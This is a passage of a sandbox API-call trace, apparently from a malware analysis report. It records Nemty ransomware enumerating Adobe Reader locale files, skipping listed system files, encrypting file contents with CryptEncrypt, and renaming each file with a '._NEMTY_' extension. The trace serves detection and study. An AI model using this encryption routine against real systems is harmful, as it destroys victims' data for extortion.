out: hHeap=0x4f90000) returned 1 [0184.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.046] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\PPKLITE.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ppklite.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\PPKLITE.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ppklite.slv._nemty_kgobjgd_")) returned 1 [0184.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.047] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807571a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x146000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.SLV", cAlternateFileName="")) returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2=".") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="..") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="...") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="windows") returned -1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="$RECYCLE.BIN") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="rsa") returned -1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="NTDETECT.COM") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="ntldr") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="MSDOS.SYS") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="IO.SYS") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="boot.ini") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="boot.ini") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="ntuser.dat") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="desktop.ini") returned 1 [0184.047] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="CONFIG.SYS") returned 1 [0184.048] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="RECYCLER") returned -1 [0184.048] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="BOOTSECT.BAK") returned 1 [0184.048] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="bootmgr") returned 1 [0184.048] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="programdata") returned 1 [0184.048] lstrcmpiW (lpString1="RdLang32.SLV", lpString2="appdata") returned 1 [0184.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SLV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SLV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SLV", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SLV", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.048] Sleep (dwMilliseconds=0x5) [0184.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x215b4450, dwHighDateTime=0x1d561e8)) [0184.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x215b4450, dwHighDateTime=0x1d561e8)) [0184.062] GetLastError () returned 0x0 [0184.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.062] GetLastError () returned 0x0 [0184.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.063] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.063] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.063] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.063] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="1ktu2Xm5qCiGWOsYDxjGAeOjsIyjCpc5I+LUgp/ektFPwj+EicWzK4vc33YQI+kI\r\nIWnk8EWB5/1ck1Ba+UcqDIqf9amewEDitBvH6o2rPd3RCDqSE/g7aDj36hRDuX8F\r\n9IvNTQCiyadJOeVhOOHpO8Pw2VjEgvYyE9WSbOULXlEoRgwTT9oyMRjUWFO6nipf\r\n7G4tBaCsTUZnZZtsi0mNro2KESnYqJdylQVUo7n7gjxp5UAzb6v3H7E1Z9MS7bOP\r\n2RLHcRzVu5UjwHWCb7Zr0RHvlEUc9RBcxjX4Rc1HbjJDn4gGbTmmp0afOvUDTnir\r\n+it3V44CNZ2gCqdyxu9zKQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\RdLang32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\rdlang32.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.063] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1335296) returned 1 [0184.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.063] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.063] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.073] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.073] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.074] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1335296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x146000 [0184.074] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.074] CloseHandle (hObject=0x2e8) returned 1 [0184.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.075] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\RdLang32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\rdlang32.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\RdLang32.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\rdlang32.slv._nemty_kgobjgd_")) returned 1 [0184.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.076] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.SLV", cAlternateFileName="READOU~1.SLV")) returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2=".") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="..") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="...") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="windows") returned -1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="$RECYCLE.BIN") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="rsa") returned -1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="NTDETECT.COM") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="ntldr") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="MSDOS.SYS") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="IO.SYS") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="boot.ini") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="boot.ini") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="ntuser.dat") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="desktop.ini") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="CONFIG.SYS") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="RECYCLER") returned -1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="BOOTSECT.BAK") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="bootmgr") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="programdata") returned 1 [0184.076] lstrcmpiW (lpString1="ReadOutLoud.SLV", lpString2="appdata") returned 1 [0184.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SLV", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0184.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SLV", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SLV", lpUsedDefaultChar=0x0) returned 15 [0184.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SLV", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0184.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SLV", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SLV", lpUsedDefaultChar=0x0) returned 15 [0184.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SLV", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0184.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SLV", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SLV", lpUsedDefaultChar=0x0) returned 15 [0184.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SLV", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0184.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.SLV", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.SLV", lpUsedDefaultChar=0x0) returned 15 [0184.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.077] Sleep (dwMilliseconds=0x5) [0184.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x215da5b0, dwHighDateTime=0x1d561e8)) [0184.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x215da5b0, dwHighDateTime=0x1d561e8)) [0184.078] GetLastError () returned 0x0 [0184.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.078] GetLastError () returned 0x0 [0184.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.078] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.078] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.078] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.078] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="GHKWGUiTauFZYB7rynmAF7XoO1Eb3bJhgBomKHyOreMHtotGLHFrgxBshPOg5/5q\r\n4OenaonXqInqHQpTgSaxECo6lNg99zO0nxmwgMA1aGELGXieYocoFqRZrqgJiWbH\r\nV6yCakzBfftHzBEi29JOxUR4CVeZJoHIDnpytl00+bYYxCmOT40xf1QiPdhyM1Jf\r\nTzkZ5JSWYbRz+rxs2eraJznpMJzfhwF/OJQQrg8GKzCsh4pPF209R0VuCeGHjTuj\r\nl7S4zN7Tp7w4RTafi91bvVDnZn1sodNwMzyYiOoWadXSzG/eTY2ClL36OfHUlt0E\r\nSWZXRr+cN9dSYPNAe5m+Fw==\r\n", pcchString=0x653e5dc) returned 1 [0184.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.078] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\ReadOutLoud.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\readoutloud.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.079] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0184.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0184.079] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.079] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0184.081] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.081] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0184.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.082] 